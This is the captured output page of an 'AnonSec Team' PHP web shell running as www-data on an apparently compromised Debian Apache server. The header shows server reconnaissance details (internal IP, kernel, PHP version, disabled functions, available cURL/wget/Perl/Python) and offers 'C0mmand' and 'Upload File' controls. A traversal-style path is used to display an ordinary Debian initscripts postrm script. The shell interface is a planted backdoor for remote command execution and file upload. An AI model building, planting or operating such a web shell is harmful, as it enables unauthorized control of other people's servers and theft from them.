AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.223
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/../var/lib/apache2/../dpkg/info/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/../var/lib/apache2/../dpkg/info/initscripts.postrm
#! /bin/sh
#
# initscripts postrm
#

set -e

INITSCRIPTS="mountkernfs.sh brightness hostname.sh mountdevsubfs.sh checkroot.sh \
	checkroot-bootclean.sh checkfs.sh mountall.sh mountall-bootclean.sh \
	mountnfs.sh mountnfs-bootclean.sh bootmisc.sh urandom halt reboot \
	umountroot umountfs umountnfs.sh sendsigs killprocs single motd \
	bootlogs rc.local rmnologin"

case "$1" in
  purge)
	#
	# Remove abandoned conffiles
	#
	rm -f /etc/init.d/bootclean
	rm -f /etc/init.d/bootclean.dpkg-old
	rm -f /etc/init.d/bootclean.sh
	rm -f /etc/init.d/bootclean.sh.dpkg-old
	rm -f /etc/default/bootlogd
	rm -f /etc/default/bootlogd.dpkg-old

	#
	# Remove configuration files
	#
	rm -f \
		/etc/default/rcS \
		/etc/motd.tail \
		/etc/motd.static

	#
	# Remove state files
	#
	rm -f /var/lib/initscripts/brightness*
	rm -f /var/lib/initscripts/nologin

	#
	# Remove run time state files
	#
	rm -f /var/run/motd

	#
	# Remove log files
	#
	rm -f \
		/var/log/dmesg \
		/var/log/boot \
		/var/log/fsck/checkroot \
		/var/log/fsck/checkfs

	# Remove rc symlinks in the reverse dependency order they were
	# inserted
	for F in $INITSCRIPTS; do
		REVERSE="$F $REVERSE"
	done
	for F in $REVERSE; do
		update-rc.d $F remove >/dev/null || exit $?
	done

	for F in $INITSCRIPTS; do
		SERVICE="$(basename $F .sh).service"
		if [ -L /etc/systemd/system/$SERVICE ]; then
			rm /etc/systemd/system/$SERVICE
		fi
	done

	# Remove /dev/pts and /dev/shm ?
	;;
esac

# Automatically added by dh_installdeb/12.1
dpkg-maintscript-helper rm_conffile /etc/init.d/bootlogd 2.88dsf-42 initscripts -- "$@"
dpkg-maintscript-helper rm_conffile /etc/init.d/stop-bootlogd 2.88dsf-42 initscripts -- "$@"
dpkg-maintscript-helper rm_conffile /etc/init.d/stop-bootlogd-single 2.88dsf-42 initscripts -- "$@"
dpkg-maintscript-helper rm_conffile /etc/init.d/motd 2.93-3\~ initscripts -- "$@"
# End automatically added section


:

AnonSec - 2021